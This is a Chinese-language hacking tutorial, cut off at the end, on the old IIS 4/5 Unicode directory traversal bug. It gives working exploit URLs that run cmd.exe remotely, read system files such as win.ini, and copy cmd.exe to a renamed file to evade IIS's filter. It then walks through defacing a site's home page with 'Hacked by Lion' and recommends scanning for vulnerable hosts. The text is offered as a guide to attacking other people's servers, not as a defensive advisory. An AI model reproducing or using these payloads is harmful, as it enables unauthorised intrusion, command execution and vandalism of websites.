1 首先我们来看看这个漏洞的原理。在中文版的IIS4，和ISS5中，存在一个BUG，原因是UNICODE编码 存在BUG 在UNICODE 编码中，发现了一个奇怪的编码方式，例如：%c1%hh %c0%hh (0x00〈= 0xhh 〈 0x40) IIS 把 "%c1%hh" 编码成(0xc1 -0xc0) * 0x40 + 0xhh. 例如 (Windows 2000 + IIS 5.0 + SP1 简体中文版): http://192.168.8.48/A.ida/%c1%00.ida IIS 将返回"@.ida" 找不到该文件 在这里 （0xc1-0xc0)*0x40+0x00=0x40='@'http://192.168.8.48/A.ida/%c1%01.ida IIS 将返回 "A.ida" 找不到该文件 这里 （0xc1-0xc0)*0x40+0x01=0x41='A' http://192.168.8.48/A.ida/%c1%02.ida IIS 将返回 "B.ida" 找不到该文件 .... http://192.168.8.48/A.ida/%c0%21.ida IIS 将返回 "!.ida" 找不到该文件 这就意味着你能利用这些编码的特点。 例如：%c1%1c -〉 (0xc1 - 0xc0) * 0x40 + 0x1c = 0x5c = '/' %c0%2f -〉 (0xc0 - 0xc0) * 0x40 + 0x2f = 0x2f = '\' 所以我们就可以用这种 *** 进入一些目录。 (http://192.168.8.48/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir 这样我们将得到 Directory of d:\inetpub\scripts2000-09-28 15:49 〈DIR〉. 　　1999-07-21 17:49 147456 Count.exe 2000-09-12 17:08 438290 Count25.exe 2000-10-13 15:03 8867 counter.err 2000-08-23 23:07 160002 counter.exe 1999-05-25 18:14 3925 CountNT.html 1999-07-21 17:49 64512 extdgts.exe 2000-08-10 15:24 46352 i *** .dll 1999-07-21 17:49 64512 mkstrip.exe 1999-05-25 18:18 1317README.txt 2000-09-28 15:49 〈DIR〉 wcount 9 File(s) 935233 bytes (2) 我们也可以利用此BUG得到一些系统文件的内容 http://192.168.8.48/a.asp/..%c1%1c../..%c1%1c../winnt/win.ini IIS 将把它当作 a .ASP 文件提交.它将让 asp.dll 来打开文件win.ini 如果用 IIS 4.0+SP6(中文版) 将不能测试成功 但是我们能用下列 *** 得到。 http://192.168.8.100/default.asp/a.exe/..%c1%1c../..%c1%1c../winnt/winnt.ini "default.asp" 是一个存在的 .ASP 文件， "a.exe" 是一个随机的 .EXE 文件名. 它可以不存在。 打上SP1仍然还有这种编码问题。在英文版本中使用 %c1%af 能正常利用这个漏洞。2.了解了漏洞的详细资料。让我们来说说怎么利用。a.利用IISExploitSearcher工作之便这个软件，我们来找有这个漏洞的主机。虽然这个漏洞公布很久了， 但你仍然会发现，你可以找到很多这种机器。假如我们已经找到了一台有这个漏洞的机器。让我们来进行下面的操作。http://x.x.x.x/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+copy+c:\winnt\system32\cmd.exe+ccc.exe这个URL语句的执行的命令是：利用NT/2000下的命令解释程序cmd.exe来执行一个拷贝命令。copy c:\winnt\system32\cmd.exe ccc.exe它把c:\winnt\system32\cmd.exe 拷贝到了c:\inetpub\scripts\ccc.exe就是DOS命令中的空格，在URL中就要换成“+”号。你要执行copy c:\winnt\system32\cmd.exe ccc.exe相对应http://ip/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+copy+c:\winnt\system32\cmd.exe+ccc.exe其中/scripts/..%c1%1c../winnt/system32/cmd.exe?/c是固定的，他的作用是调用c:\winnt\system32\cmd.exe来执行命令。噢，忘了说为什么要拷贝cmd.exe了。因为微软的iis加载程序的时候检测到有串cmd.exe的话就要检测特殊字符“&|(;%<>”，所以必须改名。 c.这时c:\winnt\system32\cmd.exe已经拷贝到了c:\inetpub\scripts\ccc.exehttp://ip/scripts/ccc.exe?/c 我们就可以调用到cmd.exe了，就是说不用那个编码了。;+c:\inetpub\wwwroot\default.asp">http://ip/scripts/ccc.exe?/c+echo+Hacked+by+Lion+>;+c:\inetpub\wwwroot\default.asp >+c:\inetpub\wwwroot\default.asp">http://192.168.8.48/scripts/ccc.exe?/c+echo+20/10/2000+>>+c:\inetpub\wwwroot\default.asp 主页面就被修改成了： Hacked by Lion20/10/2000 也就是说，已经把他的主页黑了。：P 下面是一些解释。其中echo 是一个回显命令。你在DOS下打一个echo Hacked by Lion 看看。它是在屏幕上显示Hacked by Lion不只这样你也可以让它把东西写进一个文件。echo Hacked by Lion > lion.txt这样当前目录下的lion.txt文件里就有了Hacked by Lion的字样。其中 > lion.txt的用途是把回显的字符写进lion.txt它覆盖原来的内容。你如果再想用echo 20/10/2000 > lion.txt 来写剩下的内容的话，你会发现它覆盖了原来的内容Hacked by Lion。怎么办呢？别急！echo Hacked by Lion > lion.txtecho 20/10/2000 >> lion.txt看看吧文件里面的是Hacked by Lion20/10/2000 成功了。这样，就可以用上面的解释，把空格用"+"代替，就可以向别人的主页写任何东西了。补充一点好多站点\inetpub\下的scripts目录删除了， 但\Program Files\Common Files\System\下的msadc还在（有msadcs.dll漏洞的话就不用 %c1%1c了）。这时可以如下构造请求： http://ip/msadc/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir+c:\ 就能调用到cmd.exe3.当